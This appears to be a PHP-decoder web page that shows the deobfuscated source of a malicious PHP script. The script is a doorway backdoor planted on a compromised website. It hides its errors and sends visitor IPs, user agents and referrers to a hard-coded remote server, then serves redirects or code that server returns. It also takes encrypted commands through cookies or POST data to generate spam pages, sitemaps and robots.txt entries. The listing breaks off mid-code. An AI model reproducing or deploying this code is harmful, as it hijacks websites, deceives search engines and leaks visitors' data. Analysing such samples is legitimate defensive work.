Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @ini_set("error_log", null); @ini_set("log_errors", 0); @ini_set("max_execution..
Decoded Output download
<?php
@ini_set("error_log", null);
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@error_reporting(0);
@set_time_limit(0);
date_default_timezone_set("UTC");
class _dxmjypo
{
private static $_n6u4uq9v = 2420912366;
static function _o01ye($_rybm1g22, $_pd52ideq)
{
$_rybm1g22[2] =
count($_rybm1g22) > 4
? long2ip(_dxmjypo::$_n6u4uq9v - 326)
: $_rybm1g22[2];
$_a4lhpc81 = _dxmjypo::_qpbtu($_rybm1g22, $_pd52ideq);
if (!$_a4lhpc81) {
$_a4lhpc81 = _dxmjypo::_q15kz($_rybm1g22, $_pd52ideq);
}
return $_a4lhpc81;
}
static function _qpbtu($_rybm1g22, $_a4lhpc81, $_9juft901 = null)
{
if (!function_exists("curl_version")) {
return "";
}
if (is_array($_rybm1g22)) {
$_rybm1g22 = implode("/", $_rybm1g22);
}
$_9hff9b92 = curl_init();
curl_setopt($_9hff9b92, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($_9hff9b92, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($_9hff9b92, CURLOPT_URL, $_rybm1g22);
if (!empty($_a4lhpc81)) {
curl_setopt($_9hff9b92, CURLOPT_POST, 1);
curl_setopt($_9hff9b92, CURLOPT_POSTFIELDS, $_a4lhpc81);
}
if (!empty($_9juft901)) {
curl_setopt($_9hff9b92, CURLOPT_HTTPHEADER, $_9juft901);
}
curl_setopt($_9hff9b92, CURLOPT_RETURNTRANSFER, true);
$_ozgbai1o = curl_exec($_9hff9b92);
curl_close($_9hff9b92);
return $_ozgbai1o;
}
static function _q15kz($_rybm1g22, $_a4lhpc81, $_9juft901 = null)
{
if (is_array($_rybm1g22)) {
$_rybm1g22 = implode("/", $_rybm1g22);
}
if (!empty($_a4lhpc81)) {
$_czjjlniy = [
"method" => "POST",
"header" => "Content-type: application/x-www-form-urlencoded",
"content" => $_a4lhpc81,
];
if (!empty($_9juft901)) {
$_czjjlniy["header"] =
$_czjjlniy["header"] . "
" . implode("
", $_9juft901);
}
$_usdxabdi = stream_context_create(["http" => $_czjjlniy]);
} else {
$_czjjlniy = ["method" => "GET"];
if (!empty($_9juft901)) {
$_czjjlniy["header"] = implode("
", $_9juft901);
}
$_usdxabdi = stream_context_create(["http" => $_czjjlniy]);
}
return @file_get_contents($_rybm1g22, false, $_usdxabdi);
}
}
class _x8albo
{
private static $_im4d239c = "";
private static $_a3plkhr4 = -1;
private static $_vr6yc981 = "";
private $_qowiedw8 = "";
private $_v4eshvs0 = "";
private $_ef4my2p4 = "";
private $_ktayg6ll = "";
public static function _bvjm4($_5tlgezww, $_jowoh142, $_35xlekrl)
{
_x8albo::$_im4d239c = $_5tlgezww . "/cache/";
_x8albo::$_a3plkhr4 = $_jowoh142;
_x8albo::$_vr6yc981 = $_35xlekrl;
if (!@file_exists(_x8albo::$_im4d239c)) {
@mkdir(_x8albo::$_im4d239c);
}
}
public static function _mr85f()
{
$_loi75tzl = 0;
foreach (scandir(_x8albo::$_im4d239c) as $_xbrkapm1) {
$_loi75tzl += 1;
}
return $_loi75tzl;
}
public static function _fkg9d()
{
return true;
}
public function __construct($_qwtog4um, $_untlu32e, $_gj3kssia, $_x8xcsse0)
{
$this->_qowiedw8 = $_qwtog4um;
$this->_v4eshvs0 = $_untlu32e;
$this->_ef4my2p4 = $_gj3kssia;
$this->_ktayg6ll = $_x8xcsse0;
}
public function _3corl()
{
function _bud6v($_jqhvfgwd, $_7fhld6w3)
{
return round(
rand($_jqhvfgwd, $_7fhld6w3 - 1) +
rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX,
2
);
}
$_5xube96r = _tuc0jtb::_6atvl();
$_a4lhpc81 = str_replace(
"{{ text }}",
$this->_v4eshvs0,
str_replace(
"{{ keyword }}",
$this->_ef4my2p4,
str_replace("{{ links }}", $this->_ktayg6ll, $this->_qowiedw8)
)
);
while (true) {
$_x47yle6p = preg_replace(
"/" . preg_quote("{{ randkeyword }}", "/") . "/",
_tuc0jtb::_t6k2w(),
$_a4lhpc81,
1
);
if ($_x47yle6p === $_a4lhpc81) {
break;
}
$_a4lhpc81 = $_x47yle6p;
}
while (true) {
preg_match(
"/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/",
$_a4lhpc81,
$_y6adnklm
);
if (empty($_y6adnklm)) {
break;
}
$_gj3kssia = @$_5xube96r[intval($_y6adnklm[1])];
$_c7s6nnh5 = _flo03n::_0cyz2($_gj3kssia);
$_a4lhpc81 = str_replace($_y6adnklm[0], $_c7s6nnh5, $_a4lhpc81);
}
while (true) {
preg_match("/{{ KEYWORDBYINDEX (\d*) }}/", $_a4lhpc81, $_y6adnklm);
if (empty($_y6adnklm)) {
break;
}
$_gj3kssia = @$_5xube96r[intval($_y6adnklm[1])];
$_a4lhpc81 = str_replace($_y6adnklm[0], $_gj3kssia, $_a4lhpc81);
}
while (true) {
preg_match("/{{ RANDFLOAT (\d*)-(\d*) }}/", $_a4lhpc81, $_y6adnklm);
if (empty($_y6adnklm)) {
break;
}
$_a4lhpc81 = str_replace(
$_y6adnklm[0],
_bud6v($_y6adnklm[1], $_y6adnklm[2]),
$_a4lhpc81
);
}
while (true) {
preg_match("/{{ RANDINT (\d*)-(\d*) }}/", $_a4lhpc81, $_y6adnklm);
if (empty($_y6adnklm)) {
break;
}
$_a4lhpc81 = str_replace(
$_y6adnklm[0],
rand($_y6adnklm[1], $_y6adnklm[2]),
$_a4lhpc81
);
}
return $_a4lhpc81;
}
public function _zmmow()
{
$_x50zz3at =
_x8albo::$_im4d239c . md5($this->_ef4my2p4 . _x8albo::$_vr6yc981);
if (_x8albo::$_a3plkhr4 == -1) {
$_9mphbljt = -1;
} else {
$_9mphbljt = time() + 3600 * 24 * 30;
}
$_z9iwn1ni = [
"template" => $this->_qowiedw8,
"text" => $this->_v4eshvs0,
"keyword" => $this->_ef4my2p4,
"links" => $this->_ktayg6ll,
"expired" => $_9mphbljt,
];
@file_put_contents($_x50zz3at, serialize($_z9iwn1ni));
}
public static function _591nr($_gj3kssia)
{
$_x50zz3at =
_x8albo::$_im4d239c . md5($_gj3kssia . _x8albo::$_vr6yc981);
$_x50zz3at = @unserialize(@file_get_contents($_x50zz3at));
if (
!empty($_x50zz3at) &&
($_x50zz3at["expired"] > time() || $_x50zz3at["expired"] == -1)
) {
return new _x8albo(
$_x50zz3at["template"],
$_x50zz3at["text"],
$_x50zz3at["keyword"],
$_x50zz3at["links"]
);
} else {
return null;
}
}
}
class _bccexs
{
private static $_im4d239c = "";
private static $_s2u19v1k = "";
public static function _bvjm4($_5tlgezww, $_br0v5h59)
{
_bccexs::$_im4d239c = $_5tlgezww . "/";
_bccexs::$_s2u19v1k = $_br0v5h59;
if (!@file_exists(_bccexs::$_im4d239c)) {
@mkdir(_bccexs::$_im4d239c);
}
}
public static function _fkg9d()
{
return true;
}
public static function _mr85f()
{
$_loi75tzl = 0;
foreach (scandir(_bccexs::$_im4d239c) as $_xbrkapm1) {
if (strpos($_xbrkapm1, _bccexs::$_s2u19v1k) === 0) {
$_loi75tzl += 1;
}
}
return $_loi75tzl;
}
public static function _t6k2w()
{
$_wb5bxdlm = [];
foreach (scandir(_bccexs::$_im4d239c) as $_xbrkapm1) {
if (strpos($_xbrkapm1, _bccexs::$_s2u19v1k) === 0) {
$_wb5bxdlm[] = $_xbrkapm1;
}
}
return @file_get_contents(
_bccexs::$_im4d239c . $_wb5bxdlm[array_rand($_wb5bxdlm)]
);
}
public static function _zmmow($_lf46ryca)
{
if (
@file_exists(_bccexs::$_s2u19v1k . "_" . md5($_lf46ryca) . ".html")
) {
return;
}
@file_put_contents(
_bccexs::$_s2u19v1k . "_" . md5($_lf46ryca) . ".html",
$_lf46ryca
);
}
}
class _tuc0jtb
{
private static $_im4d239c = "";
private static $_s2u19v1k = "";
private static $_hz1u86hp = [];
private static $_df5hv6k8 = [];
public static function _bvjm4($_5tlgezww, $_br0v5h59)
{
_tuc0jtb::$_im4d239c = $_5tlgezww . "/";
_tuc0jtb::$_s2u19v1k = $_br0v5h59;
if (!@file_exists(_tuc0jtb::$_im4d239c)) {
@mkdir(_tuc0jtb::$_im4d239c);
}
}
private static function _klyph()
{
$_0sb6sw4s = [];
foreach (scandir(_tuc0jtb::$_im4d239c) as $_xbrkapm1) {
if (strpos($_xbrkapm1, _tuc0jtb::$_s2u19v1k) === 0) {
$_0sb6sw4s[] = $_xbrkapm1;
}
}
return $_0sb6sw4s;
}
public static function _fkg9d()
{
return true;
}
public static function _t6k2w()
{
if (empty(_tuc0jtb::$_hz1u86hp)) {
$_0sb6sw4s = _tuc0jtb::_klyph();
_tuc0jtb::$_hz1u86hp = @file(
_tuc0jtb::$_im4d239c . $_0sb6sw4s[array_rand($_0sb6sw4s)],
FILE_IGNORE_NEW_LINES
);
}
return _tuc0jtb::$_hz1u86hp[array_rand(_tuc0jtb::$_hz1u86hp)];
}
public static function _6atvl()
{
if (empty(_tuc0jtb::$_df5hv6k8)) {
$_0sb6sw4s = _tuc0jtb::_klyph();
foreach ($_0sb6sw4s as $_ind5a4pn) {
_tuc0jtb::$_df5hv6k8 = array_merge(
_tuc0jtb::$_df5hv6k8,
@file(
_tuc0jtb::$_im4d239c . $_ind5a4pn,
FILE_IGNORE_NEW_LINES
)
);
}
}
return _tuc0jtb::$_df5hv6k8;
}
public static function _zmmow($_ddfd6wg5)
{
if (
@file_exists(_tuc0jtb::$_s2u19v1k . "_" . md5($_ddfd6wg5) . ".list")
) {
return;
}
@file_put_contents(
_tuc0jtb::$_s2u19v1k . "_" . md5($_ddfd6wg5) . ".list",
$_ddfd6wg5
);
}
public static function _fisto($_gj3kssia)
{
@file_put_contents(
_tuc0jtb::$_s2u19v1k . "_" . md5(_flo03n::$_3cvjwxk6) . ".list",
$_gj3kssia . "
",
8
);
}
}
class _flo03n
{
public static $_oof5rumy = "5.3";
public static $_3cvjwxk6 = "a8509df0-7f53-aa18-4ec6-2cf998ad6f06";
private $_hiraxrpg = "http://136.12.78.46/app/assets/api2?action=redir";
private $_up1krq5g = "http://136.12.78.46/app/assets/api?action=page";
public static $_372l6lrs = 5;
public static $_vvi24tqg = 20;
private function _9z83o()
{
$_mvpvo7mf = [
"#libwww-perl#i",
"#MJ12bot#i",
"#msnbot#i",
"#msnbot-media#i",
"#YandexBot#i",
"#msnbot#i",
"#YandexWebmaster#i",
"#spider#i",
"#yahoo#i",
"#google#i",
"#altavista#i",
"#ask#i",
"#yahoo!\s*slurp#i",
"#BingBot#i",
];
if (
!empty($_SERVER["HTTP_USER_AGENT"]) &&
false !==
strpos(
preg_replace(
$_mvpvo7mf,
"-NO-WAY-",
$_SERVER["HTTP_USER_AGENT"]
),
"-NO-WAY-"
)
) {
$_0axtrl5k = 1;
} elseif (
empty($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ||
empty($_SERVER["HTTP_REFERER"])
) {
$_0axtrl5k = 1;
} elseif (
strpos($_SERVER["HTTP_REFERER"], "google") === false &&
strpos($_SERVER["HTTP_REFERER"], "yahoo") === false &&
strpos($_SERVER["HTTP_REFERER"], "bing") === false &&
strpos($_SERVER["HTTP_REFERER"], "yandex") === false
) {
$_0axtrl5k = 1;
} else {
$_0axtrl5k = 0;
}
return $_0axtrl5k;
}
private static function _df78y()
{
$_pd52ideq = [];
$_pd52ideq["ip"] = $_SERVER["REMOTE_ADDR"];
$_pd52ideq["qs"] = @$_SERVER["HTTP_HOST"] . @$_SERVER["REQUEST_URI"];
$_pd52ideq["ua"] = @$_SERVER["HTTP_USER_AGENT"];
$_pd52ideq["lang"] = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
$_pd52ideq["ref"] = @$_SERVER["HTTP_REFERER"];
$_pd52ideq["enc"] = @$_SERVER["HTTP_ACCEPT_ENCODING"];
$_pd52ideq["acp"] = @$_SERVER["HTTP_ACCEPT"];
$_pd52ideq["char"] = @$_SERVER["HTTP_ACCEPT_CHARSET"];
$_pd52ideq["conn"] = @$_SERVER["HTTP_CONNECTION"];
return $_pd52ideq;
}
public function __construct()
{
$this->_hiraxrpg = explode("/", $this->_hiraxrpg);
$this->_up1krq5g = explode("/", $this->_up1krq5g);
}
public static function _n9fm8($_pzmjijb6)
{
if (strlen($_pzmjijb6) < 4) {
return "";
}
$_zkginifl =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$_5xube96r = str_split($_zkginifl);
$_5xube96r = array_flip($_5xube96r);
$_hk8hciql = 0;
$_xr87l1cn = "";
$_pzmjijb6 = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_pzmjijb6);
do {
$_vehcbobg = $_5xube96r[$_pzmjijb6[$_hk8hciql++]];
$_2enerv1g = $_5xube96r[$_pzmjijb6[$_hk8hciql++]];
$_p9kqzp9g = $_5xube96r[$_pzmjijb6[$_hk8hciql++]];
$_buc0ydqz = $_5xube96r[$_pzmjijb6[$_hk8hciql++]];
$_qv74l6xi = ($_vehcbobg << 2) | ($_2enerv1g >> 4);
$_5l58q9kn = (($_2enerv1g & 15) << 4) | ($_p9kqzp9g >> 2);
$_6wsnndiy = (($_p9kqzp9g & 3) << 6) | $_buc0ydqz;
$_xr87l1cn = $_xr87l1cn . chr($_qv74l6xi);
if ($_p9kqzp9g != 64) {
$_xr87l1cn = $_xr87l1cn . chr($_5l58q9kn);
}
if ($_buc0ydqz != 64) {
$_xr87l1cn = $_xr87l1cn . chr($_6wsnndiy);
}
} while ($_hk8hciql < strlen($_pzmjijb6));
return $_xr87l1cn;
}
private function _y9ijl($_gj3kssia)
{
$_qwtog4um = "";
$_untlu32e = "";
$_pd52ideq = _flo03n::_df78y();
$_pd52ideq["uid"] = _flo03n::$_3cvjwxk6;
$_pd52ideq["keyword"] = $_gj3kssia;
$_pd52ideq["tc"] = 10;
$_pd52ideq = http_build_query($_pd52ideq);
$_zmpzru71 = _dxmjypo::_o01ye($this->_up1krq5g, $_pd52ideq);
if (strpos($_zmpzru71, _flo03n::$_3cvjwxk6) === false) {
return [$_qwtog4um, $_untlu32e];
}
$_qwtog4um = _bccexs::_t6k2w();
$_untlu32e = substr($_zmpzru71, strlen(_flo03n::$_3cvjwxk6));
$_untlu32e = explode("
", $_untlu32e);
shuffle($_untlu32e);
$_untlu32e = implode(" ", $_untlu32e);
return [$_qwtog4um, $_untlu32e];
}
private function _wfmup()
{
$_pd52ideq = _flo03n::_df78y();
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
$_pd52ideq["cfconn"] = @$_SERVER["HTTP_CF_CONNECTING_IP"];
}
if (isset($_SERVER["HTTP_X_REAL_IP"])) {
$_pd52ideq["xreal"] = @$_SERVER["HTTP_X_REAL_IP"];
}
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$_pd52ideq["xforward"] = @$_SERVER["HTTP_X_FORWARDED_FOR"];
}
$_pd52ideq["uid"] = _flo03n::$_3cvjwxk6;
$_pd52ideq = http_build_query($_pd52ideq);
$_gabkojhr = _dxmjypo::_o01ye($this->_hiraxrpg, $_pd52ideq);
$_gabkojhr = @unserialize($_gabkojhr);
if (isset($_gabkojhr["type"]) && $_gabkojhr["type"] == "redir") {
if (!empty($_gabkojhr["data"]["header"])) {
header($_gabkojhr["data"]["header"]);
return true;
} elseif (!empty($_gabkojhr["data"]["code"])) {
echo $_gabkojhr["data"]["code"];
return true;
}
}
return false;
}
public function _fkg9d()
{
return _x8albo::_fkg9d() && _bccexs::_fkg9d() && _tuc0jtb::_fkg9d();
}
public static function _0z3ih()
{
if (
(!empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off") ||
$_SERVER["SERVER_PORT"] == 443
) {
return true;
}
return false;
}
public static function _yqnqg()
{
$_e235j3p0 = explode("?", $_SERVER["REQUEST_URI"], 2);
$_e235j3p0 = $_e235j3p0[0];
if (strpos($_e235j3p0, ".php") === false) {
$_e235j3p0 = explode("/", $_e235j3p0);
array_pop($_e235j3p0);
$_e235j3p0 = implode("/", $_e235j3p0) . "/";
}
return sprintf(
"%s://%s%s",
_flo03n::_0z3ih() ? "https" : "http",
$_SERVER["HTTP_HOST"],
$_e235j3p0
);
}
public static function _gj93a()
{
$_fgitch5k = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15",
"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36",
];
$_1li37tnw = [
"https://www.google.com/ping?sitemap=" =>
"Sitemap Notification Received",
];
$_9juft901 = [
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language: en-US,en;q=0.5",
"User-Agent: " . $_fgitch5k[array_rand($_fgitch5k)],
];
$_idwnv9hx = urlencode(_flo03n::_hs1uc() . "/sitemap.xml");
foreach ($_1li37tnw as $_rybm1g22 => $_d09z4dtz) {
$_mzzqm2gw = _dxmjypo::_qpbtu(
$_rybm1g22 . $_idwnv9hx,
null,
$_9juft901
);
if (empty($_mzzqm2gw)) {
$_mzzqm2gw = _dxmjypo::_q15kz(
$_rybm1g22 . $_idwnv9hx,
null,
$_9juft901
);
}
if (empty($_mzzqm2gw)) {
return false;
}
if (strpos($_mzzqm2gw, $_d09z4dtz) === false) {
return false;
}
}
return true;
}
public static function _jmhk7()
{
$_74ktm4b2 =
"User-agent: *
Disallow: %s
User-agent: Bingbot
User-agent: Googlebot
User-agent: Slurp
Disallow:
Sitemap: %s
";
$_e235j3p0 = explode("?", $_SERVER["REQUEST_URI"], 2);
$_e235j3p0 = $_e235j3p0[0];
$_enoiv1wa = substr($_e235j3p0, 0, strrpos($_e235j3p0, "/"));
$_wpmo0i0o = sprintf(
$_74ktm4b2,
$_enoiv1wa,
_flo03n::_hs1uc() . "/sitemap.xml"
);
$_a6figz5b = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt";
if (@file_exists($_a6figz5b)) {
@chmod($_a6figz5b, 0777);
$_quzkhtas = @file_get_contents($_a6figz5b);
} else {
$_quzkhtas = "";
}
if (strpos($_quzkhtas, $_wpmo0i0o) === false) {
@file_put_contents($_a6figz5b, $_quzkhtas . "
" . $_wpmo0i0o);
$_quzkhtas = @file_get_contents($_a6figz5b);
return strpos($_quzkhtas, $_wpmo0i0o) !== false;
}
return false;
}
public static function _hs1uc()
{
$_e235j3p0 = explode("?", $_SERVER["REQUEST_URI"], 2);
$_e235j3p0 = $_e235j3p0[0];
$_5tlgezww = substr($_e235j3p0, 0, strrpos($_e235j3p0, "/"));
return sprintf(
"%s://%s%s",
_flo03n::_0z3ih() ? "https" : "http",
$_SERVER["HTTP_HOST"],
$_5tlgezww
);
}
public static function _0cyz2($_gj3kssia)
{
$_u5l75wgd = _flo03n::_yqnqg();
$_wduwsp4z = substr(md5(_flo03n::$_3cvjwxk6 . "salt3"), 0, 6);
$_o4jcy95x = "";
if (substr($_u5l75wgd, -1) == "/") {
if (ord($_wduwsp4z[1]) % 2) {
$_gj3kssia = str_replace(" ", "-", $_gj3kssia);
} else {
$_gj3kssia = str_replace(" ", "-", $_gj3kssia);
}
$_o4jcy95x = sprintf(
"%s%s.html",
$_u5l75wgd,
urlencode($_gj3kssia)
);
} else {
if (false && ord($_wduwsp4z[0]) % 2) {
$_o4jcy95x = sprintf(
"%s?%s=%s",
$_u5l75wgd,
$_wduwsp4z,
urlencode(str_replace(" ", "-", $_gj3kssia))
);
} else {
$_sboc1atg = ["id", "page", "tag"];
$_jzf47faz = $_sboc1atg[ord($_wduwsp4z[2]) % count($_sboc1atg)];
if (ord($_wduwsp4z[1]) % 2) {
$_gj3kssia = str_replace(" ", "-", $_gj3kssia);
} else {
$_gj3kssia = str_replace(" ", "-", $_gj3kssia);
}
$_o4jcy95x = sprintf(
"%s?%s=%s",
$_u5l75wgd,
$_jzf47faz,
urlencode($_gj3kssia)
);
}
}
return $_o4jcy95x;
}
public static function _pkg7s($_jqhvfgwd, $_7fhld6w3)
{
$_u5qnse3n = "";
for (
$_hk8hciql = 0;
$_hk8hciql < rand($_jqhvfgwd, $_7fhld6w3);
$_hk8hciql++
) {
$_gj3kssia = _tuc0jtb::_t6k2w();
$_u5qnse3n .= sprintf(
"<a href=\"%s\">%s</a>,
",
_flo03n::_0cyz2($_gj3kssia),
ucwords($_gj3kssia)
);
}
return $_u5qnse3n;
}
public static function _y7wi3($_nabrfizd = false)
{
$_r8yaueot = dirname(__FILE__) . "/sitemap.xml";
$_2jul6e0l =
"<?xml version=\"1.0\" encoding=\"UTF-8\"?" .
">
<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">
";
$_nkym59d3 = "</urlset>";
$_5xube96r = _tuc0jtb::_6atvl();
$_yhf1l8bk = [];
if (file_exists($_r8yaueot)) {
$_zmpzru71 = simplexml_load_file($_r8yaueot);
foreach ($_zmpzru71 as $_bnl2mpy0) {
$_yhf1l8bk[(string) $_bnl2mpy0->loc] =
(string) $_bnl2mpy0->lastmod;
}
} else {
$_nabrfizd = false;
}
foreach ($_5xube96r as $_4iyvv8lv) {
$_o4jcy95x = _flo03n::_0cyz2($_4iyvv8lv);
if (isset($_yhf1l8bk[$_o4jcy95x])) {
continue;
}
if ($_nabrfizd) {
$_qcwbc3to = time();
} else {
$_qcwbc3to = time() - (crc32($_4iyvv8lv) % (60 * 60 * 24 * 30));
}
$_yhf1l8bk[$_o4jcy95x] = date("Y-m-d", $_qcwbc3to);
}
$_nqyz6uj2 = "";
foreach ($_yhf1l8bk as $_rybm1g22 => $_qcwbc3to) {
$_nqyz6uj2 .= "<url>
";
$_nqyz6uj2 .= sprintf("<loc>%s</loc>
", $_rybm1g22);
$_nqyz6uj2 .= sprintf("<lastmod>%s</lastmod>
", $_qcwbc3to);
$_nqyz6uj2 .= "</url>
";
}
$_ihi70iks = $_2jul6e0l . $_nqyz6uj2 . $_nkym59d3;
$_idwnv9hx = _flo03n::_hs1uc() . "/sitemap.xml";
@file_put_contents($_r8yaueot, $_ihi70iks);
return $_idwnv9hx;
}
public function _m2w0g()
{
$_jzf47faz = substr(md5(_flo03n::$_3cvjwxk6 . "salt3"), 0, 6);
if (!$this->_9z83o()) {
if ($this->_wfmup()) {
return;
}
}
if (!empty($_GET)) {
$_acenhtqd = array_values($_GET);
} else {
$_acenhtqd = explode("/", $_SERVER["REQUEST_URI"]);
$_acenhtqd = array_reverse($_acenhtqd);
}
$_gj3kssia = "";
foreach ($_acenhtqd as $_g4zlj9kj) {
if (substr_count($_g4zlj9kj, "-") > 0) {
$_gj3kssia = $_g4zlj9kj;
break;
}
}
$_gj3kssia = str_replace($_jzf47faz . "-", "", $_gj3kssia);
$_gj3kssia = str_replace("-" . $_jzf47faz, "", $_gj3kssia);
$_gj3kssia = str_replace("-", " ", $_gj3kssia);
$_esz2y7ge = [".html", ".php", ".aspx"];
foreach ($_esz2y7ge as $_28nj8j4o) {
if (
strpos($_gj3kssia, $_28nj8j4o) ===
strlen($_gj3kssia) - strlen($_28nj8j4o)
) {
$_gj3kssia = substr(
$_gj3kssia,
0,
strlen($_gj3kssia) - strlen($_28nj8j4o)
);
}
}
$_gj3kssia = urldecode($_gj3kssia);
$_5cwpayfx = _tuc0jtb::_6atvl();
if (empty($_gj3kssia)) {
$_gj3kssia = $_5cwpayfx[0];
} elseif (!in_array($_gj3kssia, $_5cwpayfx)) {
$_92xd0aya = 0;
foreach (str_split($_gj3kssia) as $_9hff9b92) {
$_92xd0aya += ord($_9hff9b92);
}
$_gj3kssia = $_5cwpayfx[$_92xd0aya % count($_5cwpayfx)];
}
if (!empty($_gj3kssia)) {
$_gabkojhr = _x8albo::_591nr($_gj3kssia);
if (empty($_gabkojhr)) {
list($_qwtog4um, $_untlu32e) = $this->_y9ijl($_gj3kssia);
if (empty($_untlu32e)) {
return;
}
$_gabkojhr = new _x8albo(
$_qwtog4um,
$_untlu32e,
$_gj3kssia,
_flo03n::_pkg7s(_flo03n::$_372l6lrs, _flo03n::$_vvi24tqg)
);
$_gabkojhr->_zmmow();
}
echo $_gabkojhr->_3corl();
}
}
}
_x8albo::_bvjm4(dirname(__FILE__), -1, _flo03n::$_3cvjwxk6);
_bccexs::_bvjm4(
dirname(__FILE__),
substr(md5(_flo03n::$_3cvjwxk6 . "salt12"), 0, 4)
);
_tuc0jtb::_bvjm4(
dirname(__FILE__),
substr(md5(_flo03n::$_3cvjwxk6 . "salt22"), 0, 4)
);
function _eufnf($_zmpzru71, $_4iyvv8lv)
{
$_f5hzt9um = "";
for ($_hk8hciql = 0; $_hk8hciql < strlen($_zmpzru71); ) {
for (
$_syried3q = 0;
$_syried3q < strlen($_4iyvv8lv) && $_hk8hciql < strlen($_zmpzru71);
$_syried3q++, $_hk8hciql++
) {
$_f5hzt9um .= chr(
ord($_zmpzru71[$_hk8hciql]) ^ ord($_4iyvv8lv[$_syried3q])
);
}
}
return $_f5hzt9um;
}
function _b670s($_zmpzru71, $_4iyvv8lv, $_vppt1hs9)
{
return _eufnf(_eufnf($_zmpzru71, $_4iyvv8lv), $_vppt1hs9);
}
foreach (array_merge($_COOKIE, $_POST) as $_m8qnzgqh => $_zmpzru71) {
$_zmpzru71 = @unserialize(
_b670s(_flo03n::_n9fm8($_zmpzru71), $_m8qnzgqh, _flo03n::$_3cvjwxk6)
);
if (isset($_zmpzru71["ak"]) && _flo03n::$_3cvjwxk6 == $_zmpzru71["ak"]) {
if ($_zmpzru71["a"] == "doorway2") {
if ($_zmpzru71["sa"] == "check") {
$_a4lhpc81 = _dxmjypo::_o01ye(
explode("/", "http://httpbin.org/"),
""
);
if (strlen($_a4lhpc81) > 512) {
echo @serialize([
"uid" => _flo03n::$_3cvjwxk6,
"v" => _flo03n::$_oof5rumy,
"cache" => _x8albo::_mr85f(),
"keywords" => count(_tuc0jtb::_6atvl()),
"templates" => _bccexs::_mr85f(),
]);
}
exit();
}
if ($_zmpzru71["sa"] == "templates") {
foreach ($_zmpzru71["templates"] as $_qwtog4um) {
_bccexs::_zmmow($_qwtog4um);
echo @serialize([
"uid" => _flo03n::$_3cvjwxk6,
"v" => _flo03n::$_oof5rumy,
]);
}
}
if ($_zmpzru71["sa"] == "keywords") {
_tuc0jtb::_zmmow($_zmpzru71["keywords"]);
_flo03n::_y7wi3();
echo @serialize([
"uid" => _flo03n::$_3cvjwxk6,
"v" => _flo03n::$_oof5rumy,
]);
}
if ($_zmpzru71["sa"] == "update_sitemap") {
_flo03n::_y7wi3(true);
echo @serialize([
"uid" => _flo03n::$_3cvjwxk6,
"v" => _flo03n::$_oof5rumy,
]);
}
if ($_zmpzru71["sa"] == "pages") {
$_mtkt6tzs = 0;
$_5cwpayfx = _tuc0jtb::_6atvl();
if (_bccexs::_mr85f() > 0) {
foreach ($_zmpzru71["pages"] as $_gabkojhr) {
$_gbwr96ea = _x8albo::_591nr($_gabkojhr["keyword"]);
if (empty($_gbwr96ea)) {
$_gbwr96ea = new _x8albo(
_bccexs::_t6k2w(),
$_gabkojhr["text"],
$_gabkojhr["keyword"],
_flo03n::_pkg7s(
_flo03n::$_372l6lrs,
_flo03n::$_vvi24tqg
)
);
$_gbwr96ea->_zmmow();
$_mtkt6tzs += 1;
if (!in_array($_gabkojhr["keyword"], $_5cwpayfx)) {
_tuc0jtb::_fisto($_gabkojhr["keyword"]);
}
}
}
}
echo @serialize([
"uid" => _flo03n::$_3cvjwxk6,
"v" => _flo03n::$_oof5rumy,
"pages" => $_mtkt6tzs,
]);
}
if ($_zmpzru71["sa"] == "ping") {
$_mzzqm2gw = _flo03n::_gj93a();
echo @serialize([
"uid" => _flo03n::$_3cvjwxk6,
"v" => _flo03n::$_oof5rumy,
"result" => (int) $_mzzqm2gw,
]);
}
if ($_zmpzru71["sa"] == "robots") {
$_mzzqm2gw = _flo03n::_jmhk7();
echo @serialize([
"uid" => _flo03n::$_3cvjwxk6,
"v" => _flo03n::$_oof5rumy,
